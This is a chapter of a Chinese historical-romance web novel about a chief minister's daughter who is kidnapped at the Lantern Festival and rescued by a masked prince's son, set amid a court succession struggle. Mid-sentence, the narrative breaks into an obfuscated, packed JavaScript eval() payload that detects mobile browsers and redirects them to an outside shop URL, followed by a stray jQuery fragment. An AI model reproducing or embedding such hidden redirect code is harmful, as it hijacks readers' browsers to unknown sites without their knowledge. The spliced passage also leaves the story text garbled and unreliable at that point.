上元节，京城四处张灯结彩，官府办设灯会。屋檐之间挂着连串的彩灯，河道中花灯明亮，男女老少在河堤处点灯祈福，粼粼水面倒映出少女模糊的侧影，岸上的常昭宁鼻尖通红，双睫湿润。
常家人一行逛灯会，常昭宁因婚事同常木桢闹了别扭。此时，常首辅一人反背着手走在前处，常昭宁同母亲在后头。
常夫人微微叹气，拉过常昭宁的手，哄道：“节日热闹着，你爹也是成日忧心着你的婚事，莫要同他置气了。”
常昭宁抿唇，一眨不眨盯着常木桢的背影，一向好说话，什么都依着她的阿爹，如今在婚嫁之事上，却是不容置喙。
今日下了朝，常木桢说起她的婚事，常昭宁心烦意乱。
她转过头去看河灯，想起一年前，长姐顺从父亲和母亲的意，选择嫁给了不甚相熟的姐夫。
常昭宁清楚记得，阿姐从活泼的性子，逐渐变得勉强起来，到最后出嫁那日也没多少笑容。
再后来，回门拜访，话语之间提起的多是夫家之事，处处彰显着阿姐好似不再是常家人般。常昭宁从小吃住都挨着阿姐，姐妹之间突然多了好些说不清之事，她十分厌恶这种感觉。
“小姐，相爷给您买的竹编灯呢。”素芷把小厮送来的竹编灯展示给常昭宁。
是一只竹叶编制的小老虎，里头放着白油灯。常昭宁生肖属虎，父亲母亲每年都会送她些小老虎玩意儿。
刚在府里小吵一架，常木桢买了老虎灯送她，也算是拉下脸了。
常昭宁探头去人群里找常木桢的背影，常木桢双手背在身后，也不回头，偶尔在一些小摊小贩前停下来看看，常昭宁一眼看出，那都是她平日里喜欢玩喜欢吃的东西。
常夫人摸了摸女儿的后脑袋，笑说：“宁宁都长这么大了，你爹和我都舍不得你出嫁。”
常昭宁搂紧母亲手臂，像儿时一样把头靠在常夫人肩头，声音闷闷的：“女儿好想一直陪着母亲。”
后头母女俩手挽着手，常首辅一个人慢悠悠地走在前头，耳朵拉得老长，听到女儿的笑终于跟着松松嘴角，带着小儿子去看舞狮子，常昭懿闹了老半天，奈何爹爹不为所动，他只好跟在爹爹屁股后头看人影。
常家一众人和仆从其乐融融地逛灯会，无人注意到，灯火闪烁的街道上方，屋檐处有几个黑影融化在夜色里，跟常家一行人闪过。
常昭宁和家人看了会儿舞狮，这表演年年都看，有些无趣。加之常昭宁喜静，就同母亲说去外围透透气。常木桢起初还不放心，让小厮跟着去，常昭宁答应了。
谁知人群熙攘之处，也有胆大之人明目做歹，常昭宁前脚刚挤出人群，意识中感觉不对，还没来得及喊出口，右手就被一股大力扯着往人群外拐，想要呼救，双唇被死死捂住。
来者力气十分大，动作之间也粗鲁，捂得常昭宁喘不上气，无力求救。
常昭宁只感到一顿拉扯，一会儿间便被带到了无人的巷末。好在绑架她的只有一人，绑匪需得紧捂着她的嘴，同时还要扯着她向无人处跑，常昭宁伸出左手，迅速从头上取下簪子，斜眼看准方向，狠狠朝着歹徒胸口刺去。
可惜常昭宁被闷得快要昏过去，巨大的恐惧让她乏力。歹徒吃痛松了手，常昭宁摔在地上，来不及感受疼痛，就要爬起来往光亮处跑。谁知巷末还有同伙，黑夜之中又伸来一只手，紧紧拉住常昭宁，扯得常昭宁痛呼出声。
常昭宁这下是真的没力气了，只用的上嘴大喊救命。只喊了一声，一大块布子被塞进嘴中，无法发出声音，手也被捆得生疼，常昭宁看着视线里巷口的灯愈发模糊，感官到最后只能听见身边的歹人轻吼着的催促，“快点走。”
不等常昭宁挪动，身旁传来一声惨叫，常昭宁感觉到身旁的人同时闷哼了一声，往前推她的人松了手，随之一丝凉意从手臂间划过，捆了许久的手被解开了。常昭宁回头，眼前人一身玄衣隐没在黑夜里，头发被黑色发带高高束起，覆面装扮着，只露出一双明亮的眼眸，眉骨锋利，眼尾微微上扬，神态倒是懒散。常昭宁分不清好坏，干脆扭头就要跑，谁知剑比人快，银剑刀光一现，直直拦住常昭宁。
常昭宁只好停下，已然忘记呼吸，听到眼前人叫了声：“常昭宁？”
疑问的语气听不出什么情绪，常昭宁听着却有几分熟悉。
常昭宁没应，也没反驳。左手还紧紧攥着出门前磨尖的发簪。
祁瑾序看到她藏在衣袖下的簪子，轻笑了一下，收回拦着人的剑，往后退，跟她说：“走吧。”
常昭宁没回头地跑了，很快消失在巷子口。
等彻底看不见常昭宁，祁瑾序叫了句：“夜寻。”顷刻之间，几个相似装扮的黑衣人从夜色中走出来。
“收拾了，带回府里，等我审。”祁瑾序不甚在意，吩咐完就走了。
这头，常昭宁刚跑出巷口，趔趄了一下，瞧见忠伯带着几个侍卫在人群中焦急地寻找着什么，想必是在找她了，常昭宁整理好衣摆，向忠伯跑过去。
忠伯是常木桢身边的老管家，常昭宁这一丢，可把他急坏了。
常昭宁简单说了一下经过，又问忠伯：“靖王世子是不是回京城了？”
忠伯还未从常昭宁短暂失踪的后怕中回过神来：“什么世子？”
“祁瑾序。”常昭宁回想起那双清澈锐利的眼睛，想起祁瑾序。
祁瑾序，父亲靖亲王，是当今圣上一母同胞的亲兄弟，母亲是皇后闺阁好友。祁瑾序便是圣上唯一亲侄，皇叔皇婶都甚是宠爱，待他视如己出，如今已正式赐予世子冠服，册封为靖亲王世子。
常昭宁知晓，她跟随父亲参加冬至宫宴后，圣上传意给父亲，谈及有意赐婚于她和祁瑾序。
常昭宁不明白，这一国之君，总是操心些儿女情长，再怎么宠爱侄儿，这祁瑾序也不是人人都想嫁的。不过这些都是常昭宁的心里话，不能说也不敢说。
祁瑾序这家伙，常昭宁本就不太待见。
京中宴席的热络话题，倒不是多么爱慕这靖王世子，而是总讨论些世家公子的出名事迹，总归不是些好事，祁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17911550|213128||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
瑾序这样随心的人，常昭宁耳朵都听熟了。
她不明白父亲怎么想的，竟还真的考虑上祁瑾序。京城贵门子弟众多，同她门第相当的也不少，怎么就非得祁瑾序不可。况且常昭宁觉得自己年纪尚小，亦没遇见倾心的公子，还想多当几年常二小姐。
常木桢知晓歹徒一事后大怒，回到府邸，吩咐忠伯立刻去探查今晚的劫匪，常昭宁手腕之处被绳子磨得破皮，受伤的小臂和膝盖也有不少淤青，所幸并未伤及筋骨。
她从小没受过这么严重的伤，更是没遭遇过绑架这类事。此刻夜间冷静下来，独坐在镜台前，端量着那根沾了血迹的簪子，才渐渐发觉后怕。
侍女点了安神香，安置好香炉，放下珠纱帘，退出内寝。
翌日，常昭宁被素芷唤醒，说是昨日绑她的两个人夜半被丢在常府后门，现在正在前厅被相爷审着，让常昭宁来看看是不是这两个人。
常昭宁简单梳洗，匆匆赶至前厅，瞧见地上布满伤痕的两人，其中一个已经奄奄一息，昨夜太黑也太急，二人戴着面罩看不清脸的模样，但常昭宁瞥见其中一人胸口的血洞，是她昨夜情急之下用簪子刺的伤口。
“阿爹，何人将这二人丢至后门？可有人瞧见？”常昭宁心中怀疑，也许是昨夜救她那人，那人夜半将二人送至府上来，如此看来，必定知晓她的身份。
地上二人已经无力挣扎，看着身上貌似添了许多新伤。
“不知何时丢在后门的，已经交代了，是四皇子的人。”常木桢沉沉开口。
逢朝换代，皇子公主成长时波云诡谲，明枪暗箭，流血荒诞之事难免。常木桢早早明白，无法安然脱身，却没想到四皇子竟想用女儿来威胁他。
四皇子，祁子玦，为淳贵妃嫡子，淳贵妃父系旁支强大，祁子玦更是野蛮生长。
弱冠之年随祖父领兵远征。去年，凯旋之际向父皇求娶崔尚书之女，定亲之后，在朝堂拥有稳妥立足之地。
祁子玦从未遮掩过自己的野心，反观太子，虽有正统地位，面上却不争不抢，稳稳当当。
圣上怎会不知朝堂纷乱，储君之位的暗流涌动。但圣上最喜爱的仍然是嫡出长子，祁承瑜，年满三岁之时便下诏立储，五岁搬入东宫。
东日金光拂开云雾，透过外廊檐柱，明政殿外朱漆檐柱分列林立，气势恢宏。
殿内，东侧以常首辅为首的中立派别，中后段为太子党派。西侧则以季尚书同崔尚书为首的四皇子党羽，看似整齐划一，实则三班朝臣泾渭分明。皇子内斗，满朝人心，大半以常木桢为首，风吹草动，凡首辅稍有偏向之意，朝中百官便偏向哪边。
常木桢年近半百，无心参与储君争夺，皇立太子，适时他便自然选择太子。入朝为官，心系百姓，忠随圣上。但偏有走出正轨之人，令常木桢不得不做出选择。如今，四皇子妄以常昭宁威胁，常首辅混迹朝堂多年，自然不是什么好捏的柿子。
二月十二，百花生日。
常夫人接了太子妃的赏花宴邀贴，携常昭宁和常昭懿赴宴。